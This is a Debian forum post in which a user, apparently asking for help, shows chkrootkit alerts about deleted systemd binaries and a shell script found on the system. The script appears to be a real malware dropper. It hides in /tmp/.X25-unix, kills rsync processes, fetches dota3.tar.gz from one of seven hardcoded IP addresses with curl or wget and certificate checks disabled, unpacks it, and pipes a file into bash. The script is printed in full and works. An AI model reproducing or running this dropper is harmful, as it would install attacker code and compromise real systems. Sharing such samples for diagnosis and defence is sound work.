Forum Debian Users Gang

chkrootkit -q

2020-05-10/nie 14:09| ALERT! /proc/*/exe deleted:
    lrwxrwxrwx 1 lightdm          lightdm          0 kwi 23 07:39 /proc/1261/exe -> /lib/systemd/systemd (deleted)
    lrwxrwxrwx 1 root             root             0 kwi 23 07:39 /proc/1262/exe -> /lib/systemd/systemd (deleted)
    lrwxrwxrwx 1 fx               fx               0 kwi 28 01:39 /proc/25733/exe -> /lib/systemd/systemd (deleted)
    lrwxrwxrwx 1 root             root             0 kwi 27 17:39 /proc/25734/exe -> /lib/systemd/systemd (deleted)
    lrwxrwxrwx 1 j                j                0 maj 10 11:57 /proc/5778/exe -> /lib/systemd/systemd (deleted)
    lrwxrwxrwx 1 root             root             0 maj 10 11:57 /proc/5779/exe -> /lib/systemd/systemd (deleted)
    lrwxrwxrwx 1 root             root             0 maj  3 17:10 /proc/6587/exe -> /lib/systemd/systemd-logind (deleted)
2020-05-10/nie 14:09| Szczegóły:
    [1261]
      comm:     systemd
      cmdline:  /lib/systemd/systemd--user
      loginuid: 117
    [1262]
      comm:     (sd-pam)
      cmdline:  (sd-pam)
      loginuid: 117
    [25733]
      comm:     systemd
      cmdline:  /lib/systemd/systemd--user
      loginuid: 1000
    [25734]
      comm:     (sd-pam)
      cmdline:  (sd-pam)
      loginuid: 1000
    [5778]
      comm:     systemd
      cmdline:  /lib/systemd/systemd--user
      loginuid: 1004
    [5779]
      comm:     (sd-pam)
      cmdline:  (sd-pam)
      loginuid: 1004
    [6587]
      comm:     systemd-logind
      cmdline:  /lib/systemd/systemd-logind
      loginuid: 4294967295

/bin/bash./tddwrt7s.sh http://149.202.162.73/dota3.tar.gz http://137.74.80.36/dota3.tar.gz http://167.114.36.165/dota3.tar.gz http://159.203.69.48/dota3.tar.gz http://37.139.0.226/dota3.tar.gz http://45.55.210.248/dota3.tar.gz http://192.241.211.94/dota3.tar.gz

# cat tddwrt7s.sh
#!/bin/bash

if [[ "$ARCH" =~ ^arm ]]; then
    echo "Arm detected. Exiting"    
    pkill -9 rsync
    kill -9 `ps x|grep rsync|grep -v grep|awk '{print $1}'`> .out
    for pid in $(ps -ef | grep "rsync" | awk '{print $2}'); do kill -9 $pid; done> .out
    exit 0
fi

rm -rf /tmp/.X2*

if [ -d "/tmp/.X25-unix/.rsync/c" ]; then
        exit 0
else
        cd /tmp
        rm -rf .ssh
        rm -rf .mountfs
        rm -rf .X2*
        rm -rf .X3*
    rm -rf .X19-unix*
        rm -rf .X21-unix*
        rm -rf .X22-unix*
        rm -rf .X23-unix
        rm -rf .X25-unix
        mkdir .X25-unix
        cd .X25-unix
        RANGE=6
        s=$RANDOM
        let "s %= $RANGE"

    if [ $s == 0 ]; then
                        sleep $[ ( $RANDOM % 500 )  + 15 ]s
                        curl -O -f $1 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $1
                fi
    if [ $s == 1 ]; then
                        sleep $[ ( $RANDOM % 500 )  + 5 ]s
                        curl -O -f $2 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $2
                fi
    if [ $s == 2 ]; then
                        sleep $[ ( $RANDOM % 500 )  + 25 ]s
                        curl -O -f $3 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $3
                fi
    if [ $s == 3 ]; then
                        sleep $[ ( $RANDOM % 500 )  + 10 ]s
                        curl -O -f $4 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $4
                fi
    if [ $s == 4 ]; then
                        sleep $[ ( $RANDOM % 500 )  + 30 ]s
                        curl -O -f $5 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $5
                fi
    if [ $s == 5 ]; then
                        sleep $[ ( $RANDOM % 500 )  + 15 ]s
                        curl -O -f $6 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $6
                fi
    if [ $s == 6 ]; then
                        sleep $[ ( $RANDOM % 500 )  + 55 ]s
                        curl -O -f $7 || wget -w 3 -T 10 -t 2 -q --no-check-certificate $7
                fi
        sleep 60s
        tar xvf dota3.tar.gz
        sleep 10s
#       rm -rf dota3.tar.gz
        cd .rsync
        cat /tmp/.X25-unix/.rsync/initall | bash 2>1&
fi

exit 0